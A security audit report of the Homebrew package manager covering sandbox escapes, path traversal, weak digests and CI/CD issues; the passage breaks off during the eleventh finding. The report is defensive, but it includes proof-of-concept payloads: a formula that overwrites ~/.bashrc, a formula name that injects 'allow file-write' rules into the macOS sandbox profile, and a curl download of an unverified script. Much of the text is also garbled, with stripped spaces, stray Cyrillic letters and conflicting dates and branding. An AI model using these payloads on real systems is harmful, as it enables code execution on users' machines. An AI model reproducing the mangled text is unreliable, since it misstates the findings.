

## Homebrew

Security assessment by HashEye · prepared for OTF

**HASHEYE AUDITED**

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This report was produced under HashEye's layered review process – **automated detection**, **pattern correlation**, and **senior manual verification** – with every finding signed off by a human reviewer. Full findings detail and on-chain attestation are available on the report page at [hashey.io/audits/research-homebrew-2023-08-01-128i8s](https://hashey.io/audits/research-homebrew-2023-08-01-128i8s).

Homebrew SecurityAssessment July26,2024 Preparedfor: PatrickLinnane Homebrew  
OrganizedbytheOpenTechnologyFund Preparedby:WilliamWoodruff,SamAlws,andWilliamTan

About hashey Founded in 2012 and headquartered in New York, hashey provides technical security assessment and advisory services to some of the world's most targeted organizations. We combine high-end security research with a real-world attacker mentality to reduce risk and fortify code. With 100+ employees around the globe, we've helped secure critical software elements that support billions of end users, including Kubernetes and the Linux kernel. We maintain an exhaustive list of publications at <https://github.com/hashey-io/publications>, with links to papers, presentations, public audit reports, and podcast appearances. In recent years, hashey consultants have showcased cutting-edge research through presentations at CanSecWest, HCSS, Devcon, Empire Hacking, GrrCon, LangSec, NorthSec, the O'Reilly Security Conference, PyCon, REcon, Security BSides, and SummerCon. We specialize in software testing and code review projects, supporting client organizations in the technology, defense, and finance industries, as well as government entities. Notable clients include HashiCorp, Google, Microsoft, Western Digital, and Zoom. hashey also operates a center of excellence with regard to blockchain security. Notable projects include audits of Algorand, Bitcoin SV, Chainlink, Compound, Ethereum 2.0, MakerDAO, Matic, Uniswap, Web3, and Zcash. To keep up to date with our latest news and announcements, please follow hashey on Twitter and explore our public repositories at <https://github.com/hashey-io>. To engage us directly, visit our "Contact" page at <https://www.hashey.io/contact>, or email us at [info@hashey.io](mailto:info@hashey.io). hashey, Inc. 228 Park Ave S #80688 New York, NY 10003 <https://www.hashey.io> [info@hashey.io](mailto:info@hashey.io) hashey 1 Homebrew SecurityAssessment PUBLIC

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All activities undertaken by hashey in association with this project were performed in accordance with a statement of work and agreed upon project plan. Security assessment projects are time-boxed and often reliant on information that may be provided by a client, its affiliates, or its partners. As a result, the findings documented in this report should not be considered a comprehensive list of security issues, flaws, or defects in the target system or codebase.

hashey uses automated testing techniques to rapidly test the controls and security properties of software. These techniques augment our manual security review work, but each has its limitations: for example, a tool may not generate a random edge case that violates a property or may not fully complete its analysis during the allotted time. Their use is also limited by the time and resource constraints of a project. hashey 2 Homebrew SecurityAssessment PUBLIC

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Project Summary Contact Information The following managers were associated with this project:

Dan Guido, Account Manager Jeff Braswell, Project Manager dan@hashey.io jeff.braswell@hashey.io

The following engineers were associated with this project: William Woodruff, Consultant Sam Alws, Consultant

william.woodruff@hashey.io sam.alws@hashey.io William Tan, Consultant william.tan@hashey.io

Project Timeline The significant events and milestones of the project are listed below. Date Event

August 10, 2023 Pre-project kickoff call August 21, 2023 Status update meeting #1

August 28, 2023 Delivery of report draft August 28, 2023 Report readout meeting

July 26, 2024 Delivery of comprehensive report hashey 5HomebrewSecurityAssessment PUBLIC

Executive Summary Engagement Overview

OTF engaged Hashey to review the security of Homebrew, a package manager for macOS and Linux.

A team of three consultants conducted the review from August 14 to August 25, 2023, for a total of six engineer-weeks of effort. Our testing efforts focused on the core package

manager, along with Homebrew's use of CI/CD for build automation, as well as its newly

released JSON API for formulae. With full access to source code and documentation, we

performed static and dynamic testing of the code bases under scope, using automated and manual processes.

Observations and Impact We found multiple issues allowing an attacker to escape the build sandbox (TOB-BREW-2,

TOB-BREW-3, TOB-BREW-11, TOB-BREW-14), and other issues allowing an attacker to

compromise the CI/CD workflow (TOB-BREW-18, TOB-BREW-19, TOB-BREW-23). In some

cases, this can be done surreptitiously. We also found that Homebrew's threat model is

often unclear and relies heavily on manual review. Recommendations

Based on the code base maturity evaluation and findings identified during the security

review, Hashey recommends that the Homebrew developer stake the following steps:

- Remediate the findings disclosed in this report. These findings should be

- addressed as part of a direct remediation or as part of any refactor that may occur

- when addressing other recommendations.

- Document Homebrew's security model. It should be clearly written that, for example, Homebrew-

- core formulae are considered trusted while third-party

- formulae are not; formula definition files can execute unsandboxed code while

- formula builds are sandboxed; and casks are given a wider range of permissions and

- rely on manual review to ensure safety. Documenting Homebrew's security model

- would allow a beginning user to better understand the risks associated with using

- the software, and for developers to write code that lines up with the current security guarantees.

- In addition to these recommendations, we have included a list of code-quality recommendations in appendix D.

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Finding Severities and Categories The following tables provide the number of findings by severity and category.

EXPOSURE ANALYSIS Severity Count High 0 Medium 14 Low 2 Informational 7 Undetermined 2 CATEGORY BREAKDOWN

Category Count Access Controls 11 Cryptography 4 Data Validation 6 Error Handling 1 Patching 3 hashey

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Project Goals The engagement was scoped to provide a security assessment of Homebrew. Specifically,

we sought to answer the following non-exhaustive list of questions:

- Are the dependencies used secure and up to date?

- Are the system architecture and design foundationally secure?

- Is the installation flow for packages implemented in a secure manner?

- Does the installation flow for packages correctly and securely leverage the formula REST API?

- Does the privacy-preserving analytics infrastructure deliver on privacy and security commitments?

- Is it possible to reveal private information or make the analytics infrastructure disclose private information?

- Are the sandboxing and isolation mechanisms implemented in a secure manner?

- Can the sandboxing and isolation mechanisms be manipulated to escape the

- isolating security controls and gain unauthorized access?

- Does the isolation and sandboxing process adequately prevent escapes and enable

- truthful reporting on the install state of software?

- Are REST API interactions signed and encrypted using cryptographic best practices?

- Are there any data leaks or data dumps to unknown or unauthorized sources?

- Can security constraints, especially in serving and downloading files and content, be bypassed?

- Are there areas within ownership and access that may be compromised or altered

- to cause adverse states, access, or exploitation?

- Could the system experience a denial of service?

Are all inputs and system parameters properly validated? • Does the code base conform to industry best practices?  
• Are there any areas of improvement for the CICD or SDLC? hashey 8HomebrewSecurityAssessment PUBLIC

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**Project Targets** The engagement involved a review and testing of the targets listed below. brew  
Repository <https://github.com/Homebrew/brew> Version 237d1e783f7ee261beaba7d3f6bde22da7148b0a  
Type YAML, Ruby, GNU Bash, POSIX sh Platform Mac, Linux actions  
Repository <https://github.com/Homebrew/actions> Version 68e149155b7dada57303f52b421a4cb7e0638930  
Type YAML, JS, GNU Bash, POSIX sh Platform Github Actions formulae.brew.sh  
Repository <https://github.com/Homebrew/Formulae.brew.sh> Version  
62598db70ba46549b3bccca75797a113bf932aca Type YAML, HTML, Ruby Platform Web homebrew-test-bot  
Repository <https://github.com/Homebrew/homebrew-test-bot> Version  
90e9913d07e6364bd3b53c6df55db4adbcf1dc26 Type YAML, Ruby Platform Mac, Linux hashey  
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**Project Coverage** This section provides an overview of the analysis coverage of the review, as determined by our high-level engagement goals. Our approaches included the following: • Use of Semgrep on the brew, actions, formulae.brew.sh, and homebrew-test-bot repositories • Use of actionlint, which scans for Github Actions issues, on the brew, actions, formulae.brew.sh, and homebrew-test-bot repositories • A manual review of the brew, actions, formulae.brew.sh, and homebrew-test-bot repositories, with a focus on the Project Goals • A manual review of Homebrew's own unit tests and use of its own code quality tooling, including RuboCop and Sorbet  
**Coverage Limitations** Because of the time-boxed nature of testing work, it is common to encounter coverage limitations. The following list outlines the coverage limitations of the engagement and indicates system elements that may warrant further review: • We evaluated the Homebrew test suite for coverage, but not for overall thoroughness. • We did not evaluate the completeness of Homebrew's logging information, and in particular whether this information would be sufficient to perform incident analysis on the CI/CD pipeline. • We did not fully evaluate each of Homebrew's dependencies to ensure that they are secure and up to date. hashey  
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**Automated Testing** hashey uses automated techniques to extensively test the security properties of software. We use both open-source static analysis and fuzzing utilities, along with tools developed in-house, to perform automated testing of source code and compiled software. **Test Harness Configuration**  
We used the following tools in the automated testing phase of this project: Tool Description Policy  
Semgrep An open-source static analysis tool for finding bugs and enforcing code standards when editing or committing code and during build time Appendix C  
Actionlint A tool that scans for Github Actions issues Appendix C hashey 12HomebrewSecurityAssessment PUBLIC

**Codebase Maturity Evaluation** hashey uses a traffic-light protocol to provide each client with a clear understanding of the areas in which its code base is mature, immature, or underdeveloped. Deficiencies identified here often stem from root causes within the software development lifecycle that should be addressed through standardization measures (e.g., the use of common libraries, functions, or frameworks) or training and awareness programs. **Category Summary Result**  
Arithmetic Due to the nature of the project, Homebrew makes very limited use of arithmetic. We found no problems related to arithmetic. Not Applicable  
Auditing Log density and quality of information logged seems sufficient. However, we did not try to verify if that is true for all execution paths and if all information required to perform incident response is always logged. Further Investigation Required  
Authentication/ Access Controls Homebrew's security model is often ambiguous and left undocumented. As mentioned in the Executive Summary, we recommend providing explicit documentation on Homebrew's security model.  
We found multiple ways for packages to escalate their privileges. Some require obviously compromised formula specification Ruby files (TOB-BREW-1, TOB-BREW-2, TOB-BREW-12, TOB-BREW-16). However, multiple findings allow for privilege escalations that could easily go unnoticed by maintainers (TOB-BREW-11, TOB-BREW-7, TOB-BREW-14, TOB-BREW-3, TOB-BREW-6). Weak Complexity Management Homebrew's code bases are well-organized and readable. Functionality is divided up well among the classes, and the code bases generally avoid over-abstraction. Strong  
Configuration We found issues related to the configuration of the Apple sandbox-exec system (TOB-BREW-11, TOB-BREW-14, TOB-BREW-3, TOB-BREW-2), of Github Actions workflows (TOB-BREW-18, TOB-BREW-19, TOB-BREW-23), and of Gemfiles (TOB-BREW-20). In general, many of our findings were connected in some way to insufficient validation, Weak normalization, or escaping of configuration inputs. Cryptography and Key Management  
We found four issues related to the choice of cryptographic functions and primitives (TOB-BREW-5, TOB-BREW-

21, TOB-BREW-24, TOB-BREW-25). Aside from these issues, we found that Homebrew generally performs all currently implemented cryptography securely. Moderate Data Handling In general, user inputs are trusted extensively in the Homebrew codebases. We found multiple issues where inputs were not correctly validated, resulting in string injection and path traversal vulnerabilities (TOB-BREW-1, TOB-BREW-2, TOB-BREW-4, TOB-BREW-16). We found issues where functions or commands that should be run only on trusted inputs were instead run on untrusted inputs (TOB-BREW-7, TOB-BREW-9, and somewhat TOB-BREW-6). We also found that certain formula resources are not validated (TOB-BREW-8) and that certain formula sources that should be blocked (SFTP, SCP, IMAP, FTPS, etc.) are not blocked (TOB-BREW-13). Weak Documentation Homebrew provides sufficient documentation for users and for package developers. As for the codebases, comments can be sparse in some areas, but there are generally enough comments (and well-named variables and functions) to understand the code. Satisfactory Maintenance In homebrew-core, the BrewTestBot is used to automatically open PRs to bump packages, as well as to test PR builds. In other Homebrew repositories, Dependabot is used to automatically bump dependencies in Gemfiles. However, we found some issues with Homebrew's dependency management: Homebrew supports only end-of-life versions of Ruby (TOB-BREW-15) and uses unpinned dependencies and workflows (TOB-BREW-20, TOB-BREW-19). Moderate Memory Safety and Error Handling In general, Homebrew correctly checks for errors and handles them by exiting out from the current process. However, we found one issue where errors are ignored when deleting files (TOB-BREW-17). Satisfactory hashey 14 Homebrew Security Assessment PUBLIC

Testing and Verification The codebase is covered by a large number of tests. We determined that these tests cover approximately 66% of the Homebrew/brew codebase, including much of the core application logic. However, we found that the remaining 34% of the codebase could use coverage. Moderate hashey 15 Homebrew Security Assessment PUBLIC

Summary of Findings The table below summarizes the findings of the review, including type and severity details.

ID	Title	Type	Severity
1	Path traversal during file caching	Access Controls	Medium
2	Sandbox escape via string injection	Access Controls	Medium
3	Allow default rule in sandbox configuration is overly permissive	Access Controls	Low
4	Special characters are allowed in package names and versions	Data Validation	Informational
5	Use of weak cryptographic digest in Formula namespaces	Cryptography	Medium
6	Extraction is not sandboxed	Access Controls	Medium
7	Use of ld on untrusted inputs	Data Validation	Medium
8	Formula allow for external resource to be downloaded during the install step	Access Controls	Medium
9	Use of MarshalDataValidation	Undetermined	
10	Lack of sandboxing on Linux	Access Controls	Medium
11	Sandbox escape through domain socket pivot on macOS	Access Controls	Medium
12	Formula privilege escalation through sudo	Access Controls	Medium

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13	Formula loading through SFTP, SCP, and other protocols	Access Controls	Medium	
14	Sandbox allows changing permissions for important directories	Access Controls	Medium	
15	Homebrew only supports end-of-life versions of Ruby	Patching	Informational	
16	Path traversal during bottling	Data Validation	Informational	
17	FileUtils.rm_rf does not check if files are deleted	Error Handling	Undetermined	
18	Use of pull_request_target in GitHub Actions workflows	Access Controls	Medium	
19	Use of unpinned third-party workflow	Patching	Low	
20	Unpinned dependencies in formulae	brew.sh	Patching	Medium
21	Use of RSA for JSON API signing	Cryptography	Informational	
22	Bottles beginning "-" can lead to unintended options getting passed to rm	Data Validation	Informational	
23	Code injection through inputs in multiple actions	Data Validation	Medium	
24	Use of PGP for commits signing	Cryptography	Informational	
25	Unnecessary domain separation between signing key and key ID	Cryptography	Informational	

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Detailed Findings

1. Path traversal during file caching Severity: Medium Difficulty: Low  
Type: Access Controls Finding ID: TOB-BREW-1 Target: brew/Library/Homebrew/download\_strategy.rb  
Description A path traversal when creating symlink to cached files allows a malicious formula to create a symlink in an arbitrary location to a file with arbitrary contents during formula installation. The following code determines where to place a symlink to a cached downloaded file.

```
def symlink_location  
  return @symlink_location if defined?(@symlink_location)  
  ext = Pathname(parse_basename(url)).extname  
  @symlink_location = @cache/"#{name}"--"#{version}"#{ext}"  
end
```

Figure 1.1: Code to generate symlink location (brew/Library/Homebrew/download\_strategy.rb:287-292)

However, a formula's version may contain special characters, such as dots and slashes (see also TOB-BREW-4). This allows for a path traversal. Exploit Scenario An attacker creates a pull request on homebrew-core attempting to add the following formula:

```
#modifyBashrc.rb  
class ModifyBashrc < Formula  
  url "https://example.com/files/.bashrc" version "/../..../.bashrc" end
```

Figure 1.2: Malicious formula definition that overwrites .bashrc hashey 18 Homebrew Security Assessment PUBLIC

Hethenostsomalicious .bashrc fileon file:///example.com/files/.bashrc . Wheneverthisformulaisbuilt,themalicious .bashrc filewillbedownloaded,anda symlinkfrom ~/.bashrc tothedownloadedfilewillbecreated.

Inthiscase,itwouldbefairlyobviousfromthepackagedefinitionthatitisamalicious,sothe maintainerswouldlikelybeabletocatchitearly.Theattackermaybeabletoavoidthisby settingtheversionsurreptitiouslyusingRubymetaprogrammingtricks,butthiswouldbe fairlydifficult. Recommendations Shortterm,removeanyspecialcharactersfromthe version namebeforeusingitwhen creatingthe @symlink\_location path.Preferably,alsodisallowformulasfromhaving thesespecialcharactersintheir version namesintheirstplace(seeTOB-BREW-4). Longterm,auditanyusesofuser-inputtedstringstocreatepaths.Ensurethattheinputis properly-sanitizedbeforebeingused. hashey 19HomebrewSecurityAssessment PUBLIC

2.Sandboxescapeviastringinjection Severity:MediumDifficulty:Low Type:AccessControlsFindingID:TOB-BREW-2 Target: brew/Library/Homebrew/sandbox.rb Description

Homebrewcreatesitssandboxconfigurationfileinawaythatismaliciouslyvulnerabletostring injection.

Thefollowingareexamplesoflinesaddedtothesandboxfilethatarevulnerableto injection.

```
60allow_write_path"#{Dir.home(ENV.fetch("USER"))}/.cvspass" .. 69allow_write_pathformula.rack
```

Figure2.1:Vulnerablesandboxconfigadditions ( brew/Library/Homebrew/sandbox.rb:60,69 ) Because

formula.rack iswrittendirectlytotheconfigurationfile, aformulawithadouble quoteinitsname(whichcanbeachievedbysettingthe @name variableinthe initialize function)can“breakout”ofitsportionofthesandboxconfigurationfileandwriteitsown customrulesallowingitselfpermissionsthatitshouldnothave.

Sandboxingwillalsobreakiftheinstallinguser’s homedirectoryhasapathwithadouble

quoteininit,oriftheHomebrewCellarhasapathwithadoublequoteininit,althoughthese

scenariosarefarlesslikely. ExploitScenario Anattackercreatesapullrequeston homebrew-core

attemptingtoaddthefollowing formula: #breakout.rb classBreakout<Formula

```
url"https://example.com/example-1.0.tar.gz"
```

```
definitialize(name,path,spec,alias_path:nil,tap:nil,force_bottle:false) super
```

```
@name=""\n)\n(allowfile-write*(subpath"/\n)\n(allowfile-write-setugid
```

```
(subpath"/\n)\n(allowfile-read-data(subpath"/dummy"
```

```
#thedummyruleattheendisneededbecause trailing/'sgetstripped end hashey 20HomebrewSecurityAssessment PUBLIC
```

definstall system"make","install" end end Figure2.2:Maliciousformulathatbreaksoutofitssandbox

Whenthisfileisbuilt,thefollowingsandboxconfigurationfileisgenerated(malicious

portionsarehighlightedinred): (version1) (debugdeny);logalldeniedoperationsto/var/log/system.log

```
(allowfile-write*(subpath"/private/tmp")) (allowfile-write-setugid(subpath"/private/tmp"))
```

```
(allowfile-write*(subpath"/private/var/tmp")) (allowfile-write-setugid(subpath"/private/var/tmp"))
```

```
(allowfile-write*(regex#"^/private/var/folders/[^\n]+/[^\n]+/[C,T]/")) (allowfile-write-
```

```
setugid(regex#"^/private/var/folders/[^\n]+/[^\n]+/[C,T]/")) (allowfile-write*
```

```
(subpath"/private/tmp")) (allowfile-write-setugid(subpath"/private/tmp")) (allowfile-write*
```

```
(subpath"/Users/sam/Library/Caches/Homebrew")) (allowfile-write-
```

```
setugid(subpath"/Users/sam/Library/Caches/Homebrew")) (allowfile-write*
```

```
(subpath"/Users/sam/Library/Logs/Homebrew/")) (allowfile-write*(subpath"/")) (allowfile-write-
```

```
setugid(subpath"/")) (allowfile-read-data(subpath"/dummy")) (allowfile-write-
```

```
setugid(subpath"/Users/sam/Library/Logs/Homebrew/")) (allowfile-write*(subpath"/")) (allowfile-
```

```
write-setugid(subpath"/")) (allowfile-read-data(subpath"/dummy")) (allowfile-write*
```

```
(subpath"/Users/sam/.cvspass")) (allowfile-write-setugid(subpath"/Users/sam/.cvspass")) (allowfile-
```

```
write*(subpath"/Users/sam/.fossil")) (allowfile-write-setugid(subpath"/Users/sam/.fossil"))
```

```
(allowfile-write*(subpath"/Users/sam/.fossil-journal")) (allowfile-write-
```

```
setugid(subpath"/Users/sam/.fossil-journal")) (allowfile-write*
```

```
(subpath"/Users/sam/Library/Developer")) (allowfile-write-
```

```
setugid(subpath"/Users/sam/Library/Developer")) (allowfile-write*(subpath"/opt/homebrew/Cellar/"))
```

```
(allowfile-write*(subpath"/")) (allowfile-write-setugid(subpath"/")) (allowfile-read-
```

```
data(subpath"/dummy")) (allowfile-write-setugid(subpath"/opt/homebrew/Cellar/")) (allowfile-write*
```

```
(subpath"/")) (allowfile-write-setugid(subpath"/")) (allowfile-read-data(subpath"/dummy"))
```

```
(allowfile-write*(subpath"/opt/homebrew/etc")) (allowfile-write-
```

```
setugid(subpath"/opt/homebrew/etc")) (allowfile-write*(subpath"/opt/homebrew/var")) (allowfile-
```

```
write-setugid(subpath"/opt/homebrew/var")) (allowfile-write*(literal"/dev/ptmx")
```

```
(literal"/dev/dtracehelper") (literal"/dev/null") (literal"/dev/random") hashey
```

```
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```

```
(literal"/dev/zero") (regex#"^/dev/fd/[0-9]+$") (regex#"^/dev/tty[a-z0-9]*$") ) (denyfile-
```

```
write*);denynon-allowlistfilewriteoperations (allowprocess-exec (literal"/bin/ps") (withno-sandbox)
```

```
);allowcertainprocessesrunningwithoutsandbox (allowdefault);alloweverythingelse
```

```
Figure2.3:Sandboxconfigurationfilefor Breakout formula(maliciouslinesarehighlighted) Now
```

makeinstall isrunwithoutanysandboxing,andtheattackergainсарbitrary unsandboxedcodeexecutionontheinstallingmachine.

Inthiscase,itwouldbefairlyobviousfromthepackagedefinitionthatthepackageis malicious,sothemaintainerswouldlikelybeabletocatchitearly.Theattackermaybe abletoavoidthisbysettingthe @name variablesurreptitiouslyusingRuby metaprogrammingtricks,butthiswouldbefairlydifficult. Recommendations Shortterm,modify allow\_write\_path sothatitchecksforspecialcharacters(quotes, newlines,etc.)inthepathbeforeaddingitsrules.Inaddition,alsoensurethatspecial charactersareremovedfromaformula's @name beforecreatingaformula'skegpath. Preferably,alsodisallowformulasfromhavingthesespecialcharactersintheirnamesin thefirstplace(seeTOB-BREW-4). Longterm,auditanyusesofuser-inputtedstringstocreatepaths.Ensurethattheinputis properlyсанitizedbeforebeingused. hashey 22HomebrewSecurityAssessment PUBLIC

3.Allowdefaultruleinsandboxconfigurationisoverlypermissive Severity:LowDifficulty:Low Type:AccessControlsFindingID:TOB-BREW-3 Target: brew/Library/Homebrew/sandbox.rb Description Currently,thesandboxconfigurationforHomebrewincludestherule (allowdefault) , whichleavessomeofApple'ssandboxingfeaturesunused,andwhichallowsformulabuild scriptstohavemultiplepermissionshattheydonotneed: • Buildscriptshavepermissiontosendsignalstoprocessesoutsideoftheirprocess group.Thisallowsthemtokillprocessesbelongingtotheuser. • Buildscriptshavepermissiontosendnetworkrequests.Asidefromallowingforfile downloadswithoutintegritychecks(seeTOB-BREW-8),thisalsoallowsbuildscripts tosendrequeststolocalhostports.Thiscouldpotentiallyallowforformulasto exploitvulnerablesoftwarerunninglocally,andtoaccessportsthatareordinarily blockedfromexternalattackersbythefirewall. • Buildscriptshavepermissiontorebootthehostmachine.Thisabilityismitigatedby thefactthat,typically,theuserrunning brewinstall doesnothavepermissionto call reboot ,meaningthatthebuildscriptcannotcall reboot either. ExploitScenario Anattackercontrivesaformulathatinteractswiththelocalsystemviasignalsorlocal networkrequestsduringthebuildperiod,potentiallyallowingcodewithinthesandboxed buildscripttopivotoutsideofthesandbox. Recommendations GotheroughApplesandboxingdocumentation(third-partydocumentationmaybe necessary)andconsiderwhichoperationscanbeblocked,banninganythatarenotneeded forHomebrewformulabuilds. References • Unofficialthird-partydocumentationonApplesandboxing:Thisisthebest documentationwecouldfindonthesubject. hashey 23HomebrewSecurityAssessment PUBLIC

4.Specialcharactersareallowedinpackagenamesandversions Severity:InformationalDifficulty:High Type:DataValidationFindingID:TOB-BREW-4 Target:Throughoutthe brew codebase Description Homebrewneedlesslyallowsforspecialcharactersinpackagenamesandversions.While thisisnotdirectlyanissueonitsovn,itleadstootherissuesuchasTOB-BREW-1, TOB-BREW-2,TOB-BREW-16,andTOB-BREW-22.Disallowingspecialcharacterswouldmake pathtraversalandstringinjectionattacksmuchmoredifficult. Recommendations Shortterm,disallowspecialcharactersinformulanamesandversions.Donotputthis checkintothe Formula classbecauseformuladefinitionscanoverwrite Formula class methods.Instead,performthecheckwheneveraformulaisabouttobeused. Longterm,ensurethatsimilarsanitizationisdoneonanyotherpotentiallymalicious values. hashey 24HomebrewSecurityAssessment PUBLIC

5.UseofweakcryptographicdigestinFormularynamespaces Severity:MediumDifficulty:Medium Type:CryptographyFindingID:TOB-BREW-5 Target: brew/Library/Homebrew/formulary.rb Description Homebrewusestwodynamicnamespacestocacheloadedformulae: FormulaNamespace (forformulaeloadedfromtheirRubydefinitions)and FormulaNamespaceAPI (for formulaeloadedfromtheirJSONAPIspecifications).Bothofthesecreateuniquekeys undertheirnamespacesbytakingtheMD5digestofauniqueidentifierforanunderlying formula(onethatcannotdirectlybeembeddedinaRubyidentifier). namespace="FormulaNamespace#{Digest::MD5.hexdigest(path.to\_s)}" Figure5.1>Loadinginto FormulaNamespace withadigestedidentifier namespace="FormulaNamespaceAPI#{Digest::MD5.hexdigest(name)}" Figure5.2>Loadinginto FormulaNamespaceAPI withadigestedidentifier MD5isconsideredbrokenintermsofcollisionresistance,withcollisionsbeingcomputable onbasicconsumerhardware. ExploitScenario Anattackercontrivesamaliciousformulawhosepath(forlocalformulae)orname(forAPI formulae),whendigested,collideswithalegitimateformula.Whenbothformulaeare loaded,theattackermaybeabletoinduceconfusionwithinHomebrewaboutwhich formulaisbeingoperatedon. Theattacker'sjoboffindingacollisionismadeslightlymoredifficultbyrestrictionsintheir inputspace:theycanuseonlycharactersthatarevalidinaformulaname(for FormulaNamespaceAPI )orinvalidformulapath(for FormulaNamespace ). hashey 25HomebrewSecurityAssessment PUBLIC

Recommendations to avoid digest function that considered to collide collisions, such as SHA-256. Alternatively, develop a path or name normalization scheme that produces valid Ruby identifiers, so that a hash function does not need to be used. hashey 26 Homebrew Security Assessment PUBLIC

6. Extraction is not sandboxed Severity: Medium Difficulty: High Type: Access Controls Finding ID: TOB-BREW-6 Target: brew/Library/Homebrew/formula\_installer.rb , brew/Library/Homebrew/download\_strategy.rb Description Homebrew supports many different archive formats for source archives that should be considered untrustworthy. The unpacking process should also be run under a sandbox in order to prevent intentional or unintentional file writes outside of expected directories. # @api public def stage(&block) UnpackStrategy.detect(cached\_location, prioritize\_extension: true, ref\_type: @ref\_type, ref: @ref).extract\_nestedly(basename: basename, prioritize\_extension: true, verbose: verbose? && !quiet?) chdir(&block) if block end Figure 6.1: This stage function unpacks potentially untrusted source archives without a sandbox Exploit Scenario An attacker constructs a source archive using one of the many supported formats that can induce an arbitrary file write. We analyzed a few of the common formats that have allowed this type of attack in the past (namely tar, 7z, and rar), which all now seem to mitigate this type of attack, but future unpackers or latent bugs in the existing unpackers may allow for an attacker to perform an arbitrary file write. Recommendations Short term, Homebrew should ensure that the supported unpackers protect against this type of attack. Long term, Homebrew should sandbox the unpacking process. hashey 27 Homebrew Security Assessment PUBLIC

7. Use of ldd on untrusted inputs Severity: Medium Difficulty: Low Type: Data Validation Finding ID: TOB-BREW-7 Target: brew/Library/Homebrew/os/linux/elf.rb Description On Linux, Homebrew uses ldd to list the dynamic dependencies of an executable (i.e., the shared libraries that it declares as dependencies): ldd = DevelopmentTools.locate "ldd" ldd\_output = Utils.popen\_read(ldd, path.expand\_path.to\_s).split("\n") Figure 7.1: Using ldd to collect shared object dependencies This metadata is produced for all ELF files in a binary, as part of providing the Linux equivalent of Homebrew-on-Ruby's binary relocation functionality. Running ldd can result in arbitrary code execution when a binary has a custom ELF interpreter specified. This may allow a malicious bottle or arbitrary code outside of the context of the install sandbox (since relocation is not sandboxed) with relative stealth (since code is obviously executed). Exploit Scenario An attacker contrives an ELF binary with a custom .interp section, enabling arbitrary code execution. This execution occurs surreptitiously during Homebrew's binary relocation phase, before the user expects any formula-provided executable to run. Recommendations Short term, Homebrew can check an ELF's interpreter (in the .interp section) before loading it with ldd and, if it appears to be a non-standard interpreter, refuse to handle it. Long term, Homebrew can replace ldd with similar inspection tools, such as readelf or objdump . Both are capable of collecting a binary's dynamic linkages without arbitrary code execution. hashey 28 Homebrew Security Assessment PUBLIC

8. Formulas allow for external resources to be downloaded during the install step Severity: Medium Difficulty: High Type: Access Controls Finding ID: TOB-BREW-8 Target: brew/Library/Homebrew/formula\_installer.rb Description If a package downloads external resources during the install phase of the process, the integrity of the files is never validated by brew itself. This could lead to a case where the upstream resource is changed unexpectedly or maliciously, which could also affect the reproducibility of the build. class InstallNetwork < Formula desc " homepage " url "https://ftp.gnu.org/gnu/hello/hello-2.12.1.tar.gz" version "0.0.0" sha256 "8d99142afd92576f30b0cd7cb42a8dc6809998bc5d607d88761f512e26c7db20" license " " def install system "curl", "-L", "-o", "#{prefix}/build.sh", "https://example.com/files/build.sh" end test do system "false" end end Figure 8.1: Example formula that downloads unverified external resources Exploit Scenario An attacker takes over an unverified upstream resource and injects malicious code into a brew bottle while it is being built. Recommendations Short term, Homebrew should check that no existing packages download unexpected resources over the network that are not explicitly declared. hashey 29 Homebrew Security Assessment PUBLIC

Long term, Homebrew should pre-download the extra required resources, (after verifying their integrity in an earlier step) and sandbox network requests in the build/post-install stage. This will ensure that packages do not inadvertently download resources. hashey 30 Homebrew Security Assessment PUBLIC

9. Use of Marshal Severity: Undetermined Difficulty: Low Type: Data Validation Finding ID: TOB-BREW-9 Target: brew/Library/Homebrew/dependency.rb Description The Dependency class defines \_dump and \_load API that use Ruby's Marshal internally. # Define marshaling semantics because we cannot serialize @env\_proc. def \_dump(\*) Marshal.dump([name, tags]) end def self.\_load(marshaled) new(\*Marshal.load(marshaled)) # rubocop:disable Security/MarshalLoad end Figure 9.1: Dependency.\_dump

and `Dependency._load` Marshalisafundamentallydangerousserializationformat,bydesign:itevaluatesarbitrary Rubyobjectsondeserialization,allowinganattacker toeasilyformMarshaledinputsthat runarbitrarycode. Afteraninitialanalysis,hasheywasunabletodetermineanypartsofthecodewhere these Dependency APIsareused.However,duetoRuby'sdynamicnature,weareunable tostateconfidentlythattheyarenocalledindirectlysomewhereinthecodebase. ExploitScenario Ifanattackermanages toinvoke `Dependency._load` withacontrolledpayload,theymay beabletoexecutearbitrarycodesurreptitiouslyoutsideofthecontextofaninstallation sandbox. Recommendations Shortterm,ifpossible,replace theseusesof Marshal withasaferserializationformat (suchasJSON). Longterm,evaluatetheneedforthisAPI;ifitisunneded,removeitentirely. hashey 31HomebrewSecurityAssessment PUBLIC

10.LackofsandboxingonLinux Severity:MediumDifficulty:Low Type:AccessControlsFindingID:TOB-BREW-10 Target: brew/Library/Homebrew/extend/os/sandbox.rb Description ThereisalackofsandboxingatallonLinux. #typed:strict #frozen\_string\_literal:true require"extend/os/mac/sandbox"ifOS.mac? Figure10.1:SandboximplementedonlyforMacOS ExploitScenario PackagesbuiltforLinuxmayintentionallyorunintentionallyoverwriteotherfiles onthe system,whichcanpotentiallyallowpackagestoclobbereachotherorcompromisetheCI systembuildingLinuxpackages,especiallyinthecaseofself-hostedLinux-basedrunners. Recommendations HomebrewshouldimplementbasicLinuxsandboxusingeitherbubblewrap,nsjail,or someotherlightweight,namespace-basedLinuxsandboxingmechanism. hashey 32HomebrewSecurityAssessment PUBLIC

11.SandboxescapethroughdomainsocketpivotonmacOS Severity:MediumDifficulty:Medium Type:AccessControlsFindingID:TOB-BREW-11 Target: brew/Library/Homebrew/sandbox.rb Description OnmacOS,somesandboxesmaybecreatedwithspecialexceptionsforvariousssystem andHomebrew-specifictemporarydirectories: defallow\_write\_temp\_and\_cache allow\_write\_path"/private/tmp" allow\_write\_path"/private/var/tmp" allow\_write"^/private/var/folders/[^/]+/[^/]+/[C,T]"/,type::regex allow\_write\_pathHOMEBREW\_TEMP allow\_write\_pathHOMEBREW\_CACHE end Figure11.1:SandboxexceptionsfortemporarydirectoriesonmacOS Inparticular, allow\_write\_temp\_and\_cache isusedinboththe build and post\_install phasesofformulainstallation: sandbox=Sandbox.new formula.logs.mkpath sandbox.record\_log(formula.logs/"postinstall.sandbox.log") sandbox.allow\_write\_temp\_and\_cache sandbox.allow\_write\_log(formula) Figure11.2:Sandboxexceptionsduringpost-install ThesystemtemporarydirectoriesexceptedundertheserulestypicallycontainUnix domainsocketsforrunning services,whichinturncanbewrittento.Dependingonthe servicesbeingused,amaliciousformulamaybeabletoperformasandboxescapeby connectingtooneofthesedomainsocketsandsending service-specificinformationtobe 